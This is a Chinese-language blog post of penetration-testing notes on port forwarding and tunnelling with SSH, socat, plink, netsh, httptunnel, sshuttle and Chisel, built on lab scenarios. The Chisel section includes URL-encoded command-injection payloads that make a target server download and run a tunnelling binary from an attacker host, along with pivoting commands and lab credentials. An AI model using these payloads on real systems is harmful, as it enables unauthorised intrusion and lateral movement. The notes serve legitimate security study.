panda's blog

端口转发

2026/01/13
loading

端口转发与隧道

端口转发简介

https://zhuanlan.zhihu.com/p/148825449

https://wangdoc.com/ssh/port-forwarding#%E5%8A%A8%E6%80%81%E8%BD%AC%E5%8F%91

端口转发是我们将研究的最简单的流量操作技术,其中我们将一个 IP 地址和端口的流量重定向到另一个 IP 地址和端口
image-20230422094712208-1768295998160.png
image-20230422094340820-1768295998057.png

简介转发工具

  • rinetd

    Rinetd 配置文件/etc/rinetd.conf 列出了需要四个参数的转发规则,包括 bindaddress 和 bindport,它们定义绑定(“监听”)的 IP 地址和端口,以及 Connectaddress 和 Connectport,它们定义流量的目的地址和端口

    sudo apt update && sudo apt install rinetd #安装
    cat /etc/rinetd.conf #查看配置
    sudo service rinetd restart #重启服务
    
    注意:使用 rinetd 将kali web 服务器在80端口接收到的任何流量重定向到我们在测试中使用的 google.com IP 地址;所有在 Kali Linux 服务器端口80上接收的通信,监听所有接口(0.0.0.0) ,无论目标地址如何,都将被重定向到216.58.207.142:80
    kali@kali:~$ cat /etc/rinetd.conf 
    ...
    # bindadress    bindport  connectaddress  connectport
    0.0.0.0 80 216.58.207.142 80
    ...
    
  • ssh隧道转发

    • 本地转发

      将 Kali Linux 机器上的 TCP 端口445转发到 Windows 服务器2016上的 TCP 端口445,TCP 端口445上 Kali Linux 机器上的任何传入连接都将通过我们的受损 Linux 客户机转发到192.168.1.110 IP 地址上的 TCP 端口445
      sudo ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128 #攻击机指令
      

image-20230413132819538-1768295997991.png

  • 远程端口转发

    ssh -N -R 10.11.0.4:2221:127.0.0.1:3306 kali@10.11.0.4
    注意:目标的端口打不开,是将自己的端口转发给目标
    

image-20230413115350822-1768295997851.png

  • 动态端口转发

    sudo ssh -N -D 127.0.0.1:8080 student@10.11.0.128 
    sudo proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110 #使用实例
    
    kali@kali:~$ cat /etc/proxychains4.conf
    ...
    
    [ProxyList]
    # add proxy here ...
    # meanwile
    # defaults set to "tor"
    socks4 	127.0.0.1 8080 
    
    
    
    
    
    # Proxy DNS requests - no leak for DNS data
    Proxy_dns
    

image-20230302211639463-1768295997624.png

  • plink.exe

    Windows:
    plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4 #注意是从客户机传到攻击机
    cmd.exe /c echo y | plink.exe -ssh -l kali -pw ilak -R 10.11.0.4:1234:127.0.0.1:3306 10.11.0.4 #使用 cmd.exe/c echo y 命令将答案通过管道传递给提示符
    
  • netsh

    默认安装在每个现代版本的 Windows 上。Windows 系统必须运行 IP Helper 服务,并且必须为我们想要使用的接口启用 IPv6支持。幸运的是,在 Windows 操作系统上,两者都处于打开状态并默认启用

    检查 IP Helper service
    确认IPv6支持网络接口
    
    netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110 #跳板机网络监听配置
    netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow #跳板机防火墙配置
    
    
  • http隧道

    工具安装
    apt-cache search httptunnel
    sudo apt install httptunnel
    
    将从这台机器(127.0.0.1)创建一个本地转发(- L) ,并使用我们在开发后创建的新密码作为学生登录。我们将把端口8888(0.0.0.0:8888)上的所有请求转发到 Windows Server 的远程桌面端口(192.168.1.110:3389)
    ssh -L 0.0.0.0:8888:192.168.1.110:3389 student@127.0.0.1 #Linux client
    
    该服务器将在Localhost端口1234上侦听,将流量从传入的HTTP流拆除,并将其重定向到Local-Host端口8888
    hts --forward-port localhost:8888 1234 #Linux client
    
    命令将监听本地主机端口8080(—— forward-port 8080) ,HTTP 封装流量,并通过防火墙将其转发到我们在端口1234(10.11.0.128:1234)上的正在监听的 HTTP 隧道服务器
    htc --forward-port 8080 10.11.0.128:1234 # kali
    

image-20230413092023521-1768295997580.png

socat

边界机器:socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432 #监听在2345,一旦接收到流量后转发到目标的5432端口
攻击机:psql -h 192.168.50.63 -p 2345 -U postgres

image-20230301230358061-1768295997369.png

ssh

本地转发

ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215 #-N来防止shell被打开,-L本地转发,注意这是在CONFLUENCE01上的

攻击机:smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234 #直接对着CONFLUENCE01就行,这时端口已经映射过来

image-20230302094516314-1768295997340.png

动态转发

python3 -c 'import pty; pty.spawn("/bin/bash")' #使用tty模块

ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215 #转发
tail /etc/proxychains4.conf #配置代理链proxychain4

注意:Proxychain 配置为具有非常高的超时值。这会使端口扫描非常慢。降低代理链配置文件中的 tcp _ read _ time _ out 和 tcp _ connect _ time _ out 值将迫使代理链更快地超时非响应连接

远程转发

sudo systemctl start ssh #攻击机启动ssh服务器,在/etc/SSH/sshd_config中将 PasswordAuthentication设置为yes
python3 -c 'import pty; pty.spawn("/bin/bash")' #同理
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4 #注意这是边界机器上的指令,监听的2345端口是攻击机的

image-20230302082709676-1768295997327.png

远程动态端口转发

python3 -c 'import pty; pty.spawn("/bin/bash")'

ssh -N -R 9998 kali@192.168.118.4 #边界机器
tail /etc/proxychains4.conf #攻击机

proxychains 应用

sshuttle

socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22 #边界
sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24 #kali
注意:权限需求高

Windows转发

ssh.exe

 %systemdrive%\Windows\System32\OpenSSH #18年后,默认安装openssh,此为路径
where ssh
ssh.exe -V
ssh -N -R 9998 kali@192.168.118.4 #流程一样
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4 #注意,最后这个ip是kali的

xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833

http

基础

  • 假设场景
    image-20230301224627293-1768295996863.png

  • Chisel

    HTTP 隧道工具,将我们的数据流封装在 HTTP 中。它还在隧道中使用 SSH 协议,因此我们的数据将被加密。

    sudo cp $(which chisel) /var/www/html/ #将二进制文件复制到apache下
    sudo systemctl start apache2 #开启apache
    wget 192.168.118.4/chisel -O /tmp/chisel && chmod +x /tmp/chisel #边界机器下载文件
    
    curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.118.4/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/ #利用curl传输,注意这是有注入的一种情况
    
    chisel server --port 8080 --reverse #kali启动服务器
    sudo tcpdump -nvvvXi tun0 tcp port 8080 #kali捕获流量
    /tmp/chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 & #边界机指令
    curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27/tmp/chisel%20client%20192.168.118.4:8080%20R:socks%27%29.start%28%29%22%29%7D/ #利用curl,注意这是有注入的一种情况
    
    sudo apt install ncat #安装ncat
    ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215 #
    

    穿透图
    image-20230301223140378-1768295996596.png

CATALOG